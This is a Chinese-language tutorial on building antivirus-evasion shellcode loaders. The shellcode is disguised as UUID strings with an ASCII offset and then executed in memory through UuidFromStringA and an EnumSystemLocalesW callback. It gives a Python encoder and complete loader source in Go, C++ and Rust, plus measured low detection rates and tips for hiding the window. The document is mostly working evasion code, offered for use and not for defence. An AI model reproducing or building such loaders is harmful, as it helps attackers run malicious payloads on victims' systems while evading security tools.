主要借助了Windows API的UuidFromStringA函数将UUID对应的地址空间拷贝到一个新的地址空间,从而可以复制Shellcode

函数原型

在Windows Docs中,比较重要的函数原型先在此处给出。

UuidFromStringA

此函数用于将指定地址的一片空间拷贝到新的空间,按照UUID解析拷贝对应的值在对应空间内连续存放。

RPC_STATUS UuidFromStringA(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);

EnumSystemLocalesW

此函数调用会产生回调,回调函数地址为第一个参数。

BOOL EnumSystemLocalesW(
  [in] LOCALE_ENUMPROCW lpLocaleEnumProc,
  [in] DWORD            dwFlags
);

HeapCreate

创建堆的API

HANDLE HeapCreate(
  [in] DWORD  flOptions,
  [in] SIZE_T dwInitialSize,
  [in] SIZE_T dwMaximumSize
);

ZwAllocateVirtualMemory

分配内存的API

NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
  [in]      HANDLE    ProcessHandle,
  [in, out] PVOID     *BaseAddress,
  [in]      ULONG_PTR ZeroBits,
  [in, out] PSIZE_T   RegionSize,
  [in]      ULONG     AllocationType,
  [in]      ULONG     Protect
);

Converter

在开始之前,需要有一个转换器,用于将shellcode转换为对应的UUID,给出以下脚本:

#Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx  
buf = b""""""  
import uuid  
  
def convertToUUID(shellcode):  
    # If shellcode is not in multiples of 16, then add some nullbytes at the end  
    if len(shellcode) % 16 != 0:  
        print("[-] Shellcode's length not multiplies of 16 bytes")  
        print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")  
        print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))  
  
        addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))  
        shellcode += addNullbyte  
  
    uuids = []  
    for i in range(0, len(shellcode), 16):  
        uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))  
        uuids.append(uuidString.replace("'", "\""))  
    return uuids  
  
if __name__ == "__main__":  
  
    uuids = convertToUUID(buf)  
    encoded_uuids = []  
    for uuid in uuids:  
        tmp = ''  
        for c in uuid:  
            tmp += chr(ord(c) + 18)  
        encoded_uuids.append(tmp)  
    print(str(uuids).replace("'", "\""))  
    print(str(encoded_uuids).replace("'", "\""))  
    print(len(encoded_uuids))

实际这里还将UUID进行了一点处理,将其的ASCII码加了18,如果使用该数据,则需要在Loader中减去对应的ASCII码。

Loader编写

Golang

实际上,UUID免杀Loader的核心思路就是先分配一片可执行内存,然后将Shellcode复制进去,接着调用EnumSystemLocalesW设回调地址为shellcode的首地址即可。 在Golang中,可以通过syscall来加载相关的DLL并且找到对应函数;为提升免杀效果,可以使用golang.org/x/sys/windowsNewLazyDLL去动态加载对应的DLL。 首先先将常规使用的API函数定义给出:

const (  
    MEM_COMMIT                 = 0x1000  
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000  
    PAGE_EXECUTE_READWRITE     = 0x40 // 区域可以执行代码,应用程序可以读写该区域。  
)  
  
var (
    ntdll                   = windows.NewLazyDLL("ntdll.dll")  
    kernel32                = windows.NewLazyDLL("kernel32.dll")  
    ZwAllocateVirtualMemory = ntdll.NewProc("ZwAllocateVirtualMemory")  
    rpcrt4                  = syscall.MustLoadDLL("rpcrt4.dll")  
    UuidFromStringA         = rpcrt4.MustFindProc("UuidFromStringA")  
    HeapCreate              = kernel32.NewProc("HeapCreate")  
    EnumSystemLocalesW      = kernel32.NewProc("EnumSystemLocalesW")  
    uuids []string = []string{/*UUID here*/}  
)

接下来在主函数中,首先创建堆:

addr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)  
if addr == 0 || err.Error() != "The operation completed successfully." {  
    log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))  
}

然后分配空间:

ZwAllocateVirtualMemory.Call(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

接下来考虑将shellcode复制进去:

addrPtr := addr  
for _, uuid := range uuids {  
    u := append([]byte(uuid), 0)  
    for i := 0; i < 36; i++ {  
       u[i] = u[i] - 18  
    }  
    rpcStatus, _, err := UuidFromStringA.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)  
    if rpcStatus != 0 {  
       log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))  
    }  
    addrPtr += 16  
}

最后使用EnumSystemLocalesW回调:

EnumSystemLocalesW.Call(addr, 0)

完整代码如下:

package main  
  
import (  
    "fmt"  
    "log"
    "runtime"
    "syscall"
    "time"
    "unsafe"  
    "golang.org/x/sys/windows"
)  
  
const (  
    MEM_COMMIT                 = 0x1000  
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000  
    PAGE_EXECUTE_READWRITE     = 0x40 // 区域可以执行代码,应用程序可以读写该区域。  
)
 
var (  
    ntdll                   = windows.NewLazyDLL("ntdll.dll")  
    kernel32                = windows.NewLazyDLL("kernel32.dll")  
    ZwAllocateVirtualMemory = ntdll.NewProc("ZwAllocateVirtualMemory")  
    rpcrt4                  = syscall.MustLoadDLL("rpcrt4.dll")  
    UuidFromStringA         = rpcrt4.MustFindProc("UuidFromStringA")  
    HeapCreate              = kernel32.NewProc("HeapCreate")  
    EnumSystemLocalesW      = kernel32.NewProc("EnumSystemLocalesW")  
    uuids []string = []string{/*data here*/}  
)
 
func main() {  
    //num, _ := numverofCPU()  
    //mem, _ := physicalMemory()    //if num == 0 || mem == 0 {    // fmt.Printf("Hello Crispr")    // os.Exit(1)    //}  
    var err error  
  
    if err != nil {  
       log.Fatal(err)  
    }  
  
    if err != nil {  
       log.Fatal(err)  
    }  
  
    addr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)  
    if addr == 0 || err.Error() != "The operation completed successfully." {  
       log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))  
    }  
  
    ZwAllocateVirtualMemory.Call(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)  
  
    addrPtr := addr  
    for _, uuid := range uuids {  
       u := append([]byte(uuid), 0)  
       for i := 0; i < 36; i++ {  
          u[i] = u[i] - 18  
       }  
       rpcStatus, _, err := UuidFromStringA.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)  
       if rpcStatus != 0 {  
          log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))  
       }  
       addrPtr += 16  
    }  
    EnumSystemLocalesW.Call(addr, 0)  
}

实测效果,2023-08-31检出率为5/71:

只是完整的照着UUID免杀的思路进行了实现,并没有创新,这样的检出率还可以接受。

隐藏窗口可以在go build时添加参数-ldflags "-s -w -H=windowsgui",即go build -ldflags "-s -w -H=windowsgui"

隐藏窗口会容易被杀

C++

源码头:

#include <iostream>
#include <Windows.h>
#include <rpcdce.h>
#include <thread>
 
using namespace std;

在C++中,动态加载DLL并且使用函数指针调用更加隐蔽,因此,给出以下的函数指针定义:

typedef HANDLE(*HCfun)(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);
typedef NTSTATUS(*ZwAlVM)(HANDLE p, PVOID* b, ULONG_PTR z, PSIZE_T r, ULONG at, ULONG protect);
typedef RPC_STATUS(*UFSA)(RPC_CSTR su, UUID* uuid);
typedef BOOL(*ESLW)(LOCALE_ENUMPROC l, DWORD df);

首先加载对应的DLL并且找到对应的函数地址赋值给函数指针:

HINSTANCE kernel32 = LoadLibrary(L"kernel32.dll");
HINSTANCE ntdll = LoadLibrary(L"ntdll.dll");
HINSTANCE rpcrt4 = LoadLibrary(L"rpcrt4.dll");
if (kernel32 == NULL || ntdll == NULL || rpcrt4 == NULL) {
	cout << "Load dll failed." << endl;
	return 0;
}
HCfun HC = (HCfun)GetProcAddress(kernel32, "HeapCreate");
ZwAlVM Alloc = (ZwAlVM)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
UFSA ufsa = (UFSA)GetProcAddress(rpcrt4, "UuidFromStringA");
ESLW eslw = (ESLW)GetProcAddress(kernel32, "EnumSystemLocalesW");

创建堆:

HANDLE addr = HC(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (addr == 0) {
	cout << "Heap create failed." << endl;
	return 0;
} else {
	cout << "Heap create success" << endl;
}

分配空间:

ULONG_PTR size = 0x100000;
Alloc(addr, 0, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

复制Shellcode

DWORD_PTR ptr = (DWORD_PTR)addr;
for (int i = 0; i < sizeof(encoded_buf)/sizeof(encoded_buf[0]); i++) {
	for (int j = 0; j < 36; j++) {
		buf[j] = encoded_buf[i][j] - 18;
	}
	buf[36] = '\0';
	RPC_STATUS rpcstatus = ufsa((RPC_CSTR)buf, (UUID*)ptr);
	if (rpcstatus != 0) {
		CloseHandle(addr);
		return 0;
	}
	ptr = ptr + 16;
}

回调:

eslw((LOCALE_ENUMPROC)addr, 0);
CloseHandle(addr);

完整代码如下:

// bypass_loader.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
 
#include <iostream>
#include <Windows.h>
#include <rpcdce.h>
#include <thread>
 
using namespace std;
 
typedef HANDLE(*HCfun)(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);
typedef NTSTATUS(*ZwAlVM)(HANDLE p, PVOID* b, ULONG_PTR z, PSIZE_T r, ULONG at, ULONG protect);
typedef RPC_STATUS(*UFSA)(RPC_CSTR su, UUID* uuid);
typedef BOOL(*ESLW)(LOCALE_ENUMPROC l, DWORD df);
 
int main()
{
	const char* encoded_buf[] = { /*data here*/ };
	char buf[37];
	HINSTANCE kernel32 = LoadLibrary(L"kernel32.dll");
	HINSTANCE ntdll = LoadLibrary(L"ntdll.dll");
	HINSTANCE rpcrt4 = LoadLibrary(L"rpcrt4.dll");
	if (kernel32 == NULL || ntdll == NULL || rpcrt4 == NULL) {
		cout << "Load dll failed." << endl;
		return 0;
	}
	HCfun HC = (HCfun)GetProcAddress(kernel32, "HeapCreate");
	ZwAlVM Alloc = (ZwAlVM)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
	UFSA ufsa = (UFSA)GetProcAddress(rpcrt4, "UuidFromStringA");
	ESLW eslw = (ESLW)GetProcAddress(kernel32, "EnumSystemLocalesW");
	HANDLE addr = HC(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	if (addr == 0) {
		cout << "Heap create failed." << endl;
		return 0;
	}
	else {
		cout << "Heap create success" << endl;
	}
	ULONG_PTR size = 0x100000;
	Alloc(addr, 0, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	DWORD_PTR ptr = (DWORD_PTR)addr;
	for (int i = 0; i < sizeof(encoded_buf)/sizeof(encoded_buf[0]); i++) {
		for (int j = 0; j < 36; j++) {
			buf[j] = encoded_buf[i][j] - 18;
		}
		buf[36] = '\0';
		RPC_STATUS rpcstatus = ufsa((RPC_CSTR)buf, (UUID*)ptr);
		if (rpcstatus != 0) {
			CloseHandle(addr);
			return 0;
		}
		ptr = ptr + 16;
	}
	printf("[*] Hexdump: ");
	for (int i = 0; i < (sizeof(encoded_buf) / sizeof(encoded_buf[0])) * 16; i++) {
		printf("%02X ", ((unsigned char*)addr)[i]);
	}
	
	std::thread t([=]() {
		eslw((LOCALE_ENUMPROC)addr, 0);
		});
	t.join();
	CloseHandle(addr);
	WaitForSingleObject(addr, INFINITE);
	return 0;
}

实测效果,2023-08-31检出率为5/70:

360对该文件拦截。

Rust

对Rust不熟悉,照着Microsoft的文档都折腾了很久,文档地址是:windows - Rust

给出项目配置Cargo.toml

[package]
name = "bypass_loader"
version = "0.1.0"
edition = "2021"
 
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
[dependencies]
windows = {version = "0.51", features = ["Win32_System_Memory", "Win32_Foundation", "Wdk_Storage_FileSystem", "Win32_System_Rpc", "Win32_Globalization"]}
 
[profile.release]
lto = true
opt-level = 'z'
panic = 'abort'

这里使用了微软官方的Rust库。 由于大量操作都是不安全的因此,将所有的实际逻辑代码都放在unsafe中。 导入必要的库:

use std::mem::transmute;
use std::process::exit;
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Rpc::UuidFromStringA;
use windows::Win32::Globalization::{EnumSystemLocalesW, LOCALE_ENUMPROCW};
use windows::Win32::System::Memory::{HeapCreate, HEAP_CREATE_ENABLE_EXECUTE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use windows::Wdk::Storage::FileSystem::ZwAllocateVirtualMemory;

创建堆:

let handle = match HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0) {
	Ok(h) => h,
	Err(e) => {
		println!("Create Heap Failed, info = {:#?}, exit", e.info());
		exit(0);
	}
};
println!("Create Heap success.");

这里通过match将返回的结果unwrap了,实际返回的是Result<HANDLE>,如果可以确保成功直接通过.unwrap()取到地址也是可以的。

接下来分配空间:

let mut size: usize = 0x100000;
let _ = ZwAllocateVirtualMemory(handle, std::ptr::null_mut(), 0, &mut size as *mut usize, MEM_COMMIT.0, PAGE_EXECUTE_READWRITE.0);

通过.0可以直接解结构体获取其中的值

接下来拷贝Shellcode

let mut current_ptr: isize = handle.0;
let mut data: [u8; 37] = [0; 37];
for uuid in uuids.iter() {
	let mut index = 0;
	for c in uuid.chars() {
		data[index] = c as u8 - 18;
		index += 1;
	}
	UuidFromStringA(windows::core::PCSTR(&data as *const u8), current_ptr as *mut windows::core::GUID);
	current_ptr = current_ptr + 16;
}

最后回调:

let _ = EnumSystemLocalesW(transmute::<HANDLE, LOCALE_ENUMPROCW>(handle), 0);
let _ = CloseHandle(handle);

实际上如何将HANDLE类型转换为LOCALE_ENUMPROCW这里卡了很久,一开始想通过as或者构造新结构去实现,但是发现很难做到,最后使用transmute成功

完整代码如下:

use std::mem::transmute;
use std::process::exit;
use windows::Win32::Foundation::{CloseHandle, HANDLE};
use windows::Win32::System::Rpc::UuidFromStringA;
use windows::Win32::Globalization::{EnumSystemLocalesW, LOCALE_ENUMPROCW};
use windows::Win32::System::Memory::{HeapCreate, HEAP_CREATE_ENABLE_EXECUTE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use windows::Wdk::Storage::FileSystem::ZwAllocateVirtualMemory;
 
fn main() {
    let uuids = [/*data here*/];
    unsafe {
        let handle = match HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0) {
            Ok(h) => h,
            Err(e) => {
                println!("Create Heap Failed, info = {:#?}, exit", e.info());
                exit(0);
            }
        };
        println!("Create Heap success.");
        let mut size: usize = 0x100000;
        let _ = ZwAllocateVirtualMemory(handle, std::ptr::null_mut(), 0, &mut size as *mut usize, MEM_COMMIT.0, PAGE_EXECUTE_READWRITE.0);
        let mut current_ptr: isize = handle.0;
        let mut data: [u8; 37] = [0; 37];
        for uuid in uuids.iter() {
            let mut index = 0;
            for c in uuid.chars() {
                data[index] = c as u8 - 18;
                index += 1;
            }
            UuidFromStringA(windows::core::PCSTR(&data as *const u8), current_ptr as *mut windows::core::GUID);
            current_ptr = current_ptr + 16;
        }
        let _ = EnumSystemLocalesW(transmute::<HANDLE, LOCALE_ENUMPROCW>(handle), 0);
        let _ = CloseHandle(handle);
    }
}

实测效果,2023-08-31检出率为2/70: 添加隐藏窗口代码在main.rs开头:

#![windows_subsystem = "windows"]

此时检出率上升到5/71:

从源代码层面上隐藏窗口实际比较难做到,理论上应该可以通过GetConsoleWindow获取当前的控制台窗口句柄,然后通过ShowWindowAPI隐藏窗口,但是实际上我将ShowWindow(GetConsoleWindow(), SW_HIDE);代码添加进去后没有效果。